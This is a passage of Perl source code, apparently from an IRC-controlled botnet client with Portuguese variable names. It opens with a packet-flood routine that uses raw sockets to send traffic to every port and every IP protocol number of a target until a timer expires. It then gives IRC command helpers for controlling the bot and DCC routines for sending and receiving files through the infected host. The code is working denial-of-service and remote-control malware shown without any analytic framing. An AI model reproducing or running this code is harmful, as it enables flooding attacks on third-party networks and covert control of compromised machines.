657.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
658.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
659.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
660.   return(undef) if $cp == 4;
661.   my $itime = time;
662.   my ($cur_time);
663.   while ( 1 ) {
664.      for (my $porta = 1; $porta <= 65535; $porta++) {
665.        $cur_time = time - $itime;
666.        last if $cur_time >= $ftime;
667.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
668.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
669.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
670.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
671.        for (my $pc = 3; $pc <= 255;$pc++) {
672.          next if $pc == 6;
673.          $cur_time = time - $itime;
674.          last if $cur_time >= $ftime;
675.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
676.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
677.        }
678.      }
679.      last if $cur_time >= $ftime;
680.   }
681.   return($cur_time, %pacotes);
682. }
683.  
684. sub action {
685.    return unless $#_ == 1;
686.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
687. }
688. sub ctcp {
689.    return unless $#_ == 1;
690.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
691. }
692. sub msg {
693.    return unless $#_ == 1;
694.    sendraw("PRIVMSG $_[0] :$_[1]");
695. }
696. sub notice {
697.    return unless $#_ == 1;
698.    sendraw("NOTICE $_[0] :$_[1]");
699. }
700. sub op {
701.    return unless $#_ == 1;
702.    sendraw("MODE $_[0] +o $_[1]");
703. }
704. sub deop {
705.    return unless $#_ == 1;
706.    sendraw("MODE $_[0] -o $_[1]");
707. }
708. sub hop {
709.     return unless $#_ == 1;
710.    sendraw("MODE $_[0] +h $_[1]");
711. }
712. sub dehop {
713.    return unless $#_ == 1;
714.    sendraw("MODE $_[0] +h $_[1]");
715. }
716. sub voice {
717.    return unless $#_ == 1;
718.    sendraw("MODE $_[0] +v $_[1]");
719. }
720. sub devoice {
721.    return unless $#_ == 1;
722.    sendraw("MODE $_[0] -v $_[1]");
723. }
724. sub ban {
725.    return unless $#_ == 1;
726.    sendraw("MODE $_[0] +b $_[1]");
727. }
728. sub unban {
729.    return unless $#_ == 1;
730.    sendraw("MODE $_[0] -b $_[1]");
731. }
732. sub kick {
733.    return unless $#_ == 1;
734.    sendraw("KICK $_[0] $_[1] :$_[2]");
735. }
736. sub modo {
737.    return unless $#_ == 0;
738.    sendraw("MODE $_[0] $_[1]");
739. }
740. sub mode { modo(@_); }
741. sub j { &join(@_); }
742. sub join {
743.    return unless $#_ == 0;
744.    sendraw("JOIN $_[0]");
745. }
746. sub p { part(@_); }
747. sub part {sendraw("PART $_[0]");}
748. sub nick {
749.   return unless $#_ == 0;
750.   sendraw("NICK $_[0]");
751. }
752. sub invite {
753.    return unless $#_ == 1;
754.    sendraw("INVITE $_[1] $_[0]");
755. }
756. sub topico {
757.    return unless $#_ == 1;
758.    sendraw("TOPIC $_[0] $_[1]");
759. }
760. sub topic { topico(@_); }
761. sub whois {
762.   return unless $#_ == 0;
763.   sendraw("WHOIS $_[0]");
764. }
765. sub who {
766.   return unless $#_ == 0;
767.   sendraw("WHO $_[0]");
768. }
769. sub names {
770.   return unless $#_ == 0;
771.   sendraw("NAMES $_[0]");
772. }
773. sub away {
774.   sendraw("AWAY $_[0]");
775. }
776. sub back { away(); }
777. sub quit {
778.   sendraw("QUIT :$_[0]");
779.   exit;
780. }
781.  
782. package DCC;
783. sub connections {
784.    my @ready = $dcc_sel->can_read(1);
785. #   return unless (@ready);
786.    foreach my $fh (@ready) {
787.      my $dcctipo = $DCC{$fh}{tipo};
788.      my $arquivo = $DCC{$fh}{arquivo};
789.      my $bytes = $DCC{$fh}{bytes};
790.      my $cur_byte = $DCC{$fh}{curbyte};
791.      my $nick = $DCC{$fh}{nick};
792.      my $msg;
793.      my $nread = sysread($fh, $msg, 10240);
794.      if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
795.         $DCC{$fh}{status} = "Cancelado";
796.         $DCC{$fh}{ftime} = time;
797.         $dcc_sel->remove($fh);
798.         $fh->close;
799.         next;
800.      }
801.      if ($dcctipo eq "get") {
802.         $DCC{$fh}{curbyte} += length($msg);
803.  
804.         my $cur_byte = $DCC{$fh}{curbyte};
805.  
806.         open(FILE, ">> $arquivo");
807.         print FILE "$msg" if ($cur_byte <= $bytes);
808.         close(FILE);
809.  
810.         my $packbyte = pack("N", $cur_byte);
811.         print $fh "$packbyte";
812.  
813.         if ($bytes == $cur_byte) {
814.            $dcc_sel->remove($fh);
815.            $fh->close;
816.            $DCC{$fh}{status} = "Recebido";
817.            $DCC{$fh}{ftime} = time;
818.            next;
819.         }
820.      } elsif ($dcctipo eq "send") {
821.           my $send = $fh->accept;
822.           $send->autoflush(1);
823.           $dcc_sel->add($send);
824.           $dcc_sel->remove($fh);
825.           $DCC{$send}{tipo} = 'sendcon';
826.           $DCC{$send}{itime} = time;
827.           $DCC{$send}{nick} = $nick;
828.           $DCC{$send}{bytes} = $bytes;
829.           $DCC{$send}{curbyte} = 0;
830.           $DCC{$send}{arquivo} = $arquivo;
831.           $DCC{$send}{ip} = $send->peerhost;
832.           $DCC{$send}{porta} = $send->peerport;
833.           $DCC{$send}{status} = "Enviando";
834.           open(FILE, "< $arquivo");
835.           my $fbytes;
836.           read(FILE, $fbytes, 1024);
837.           print $send "$fbytes";
838.           close FILE;
839. #          delete($DCC{$fh});
840.      } elsif ($dcctipo eq 'sendcon') {
841.           my $bytes_sended = unpack("N", $msg);
842.           $DCC{$fh}{curbyte} = $bytes_sended;
843.           if ($bytes_sended == $bytes) {
844.              $fh->close;
845.              $dcc_sel->remove($fh);
846.              $DCC{$fh}{status} = "Enviado";
847.              $DCC{$fh}{ftime} = time;
848.              next;
849.           }
850.           open(SENDFILE, "< $arquivo");
851.           seek(SENDFILE, $bytes_sended, 0);
852.           my $send_bytes;
853.           read(SENDFILE, $send_bytes, 1024);
854.           print $fh "$send_bytes";
855.           close(SENDFILE);
856.      }
857.    }
858. }
859.  
860. sub SEND {
861.   my ($nick, $arquivo) = @_;
862.   unless (-r "$arquivo") {
863.     return(0);
864.   }
865.   my $dccark = $arquivo;
866.   $dccark =~ s/[.*\/](\S+)/$1/;
867.   my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
868.   my $longip = unpack("N",inet_aton($meuip));
869.   my @filestat = stat($arquivo);
870.   my $size_total=$filestat[7];
871.   if ($size_total == 0) {
872.      return(0);
873.   }
874.   my ($porta, $sendsock);
875.   do {
876.     $porta = int rand(64511);
877.     $porta += 1024;
878.     $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
879.   } until $sendsock;
880.   $DCC{$sendsock}{tipo} = 'send';
881.   $DCC{$sendsock}{nick} = $nick;
882.   $DCC{$sendsock}{bytes} = $size_total;
883.   $DCC{$sendsock}{arquivo} = $arquivo;
884.   &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
885. }
886. sub GET {
887.   my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
888.   return(0) if (-e "$arquivo");
889.   if (open(FILE, "> $arquivo")) {
890.      close FILE;
891.   } else {
892.     return(0);
893.   }
894.   my $dccip=fixaddr($dcclongip);
895.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
896.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
897.   $dccsock->autoflush(1);
898.   $dcc_sel->add($dccsock);
899.   $DCC{$dccsock}{tipo} = 'get';
900.   $DCC{$dccsock}{itime} = time;
901.   $DCC{$dccsock}{nick} = $nick;
902.   $DCC{$dccsock}{bytes} = $bytes;
903.   $DCC{$dccsock}{curbyte} = 0;
904.   $DCC{$dccsock}{arquivo} = $arquivo;
905.   $DCC{$dccsock}{ip} = $dccip;
906.   $DCC{$dccsock}{porta} = $dccporta;
907.   $DCC{$dccsock}{status} = "Recebendo";
908. }
909. sub Status {
910.   my $socket = shift;
911.   my $sock_tipo = $DCC{$socket}{tipo};
912.   unless (lc($sock_tipo) eq "chat") {
913.     my $nick = $DCC{$socket}{nick};
914.     my $arquivo = $DCC{$socket}{arquivo};
915.     my $itime = $DCC{$socket}{itime};
916.     my $ftime = time;
917.     my $status = $DCC{$socket}{status};
918.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
919.  
920.     my $d_time = $ftime-$itime;
921.  
922.     my $cur_byte = $DCC{$socket}{curbyte};
923.     my $bytes_total =  $DCC{$socket}{bytes};
924.  
925.     my $rate = 0;
926.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
927.     my $porcen = ($cur_byte*100)/$bytes_total;
928.  
929.     my ($r_duv, $p_duv);
930.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
931.        $r_duv = $3; $r_duv++ if $4 >= 5;
932.        $rate = "$1\.$2"."$r_duv";
933.     }
934.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
935.        $p_duv = $3; $p_duv++ if $4 >= 5;
936.        $porcen = "$1\.$2"."$p_duv";
937.     }
938.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
939.   }
940.   return(0);
941. }
942.  
943. sub fixaddr {
944.     my ($address) = @_;
945.  
946.     chomp $address;
947.     if ($address =~ /^\d+$/) {
948.         return inet_ntoa(pack "N", $address);
949.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
950.         return $address;
951.     } elsif ($address =~ tr/a-zA-Z//) {
952.         return inet_ntoa(((gethostbyname($address))[4])[0]);
953.     } else {
954.         return;
955.     }
956. }
957.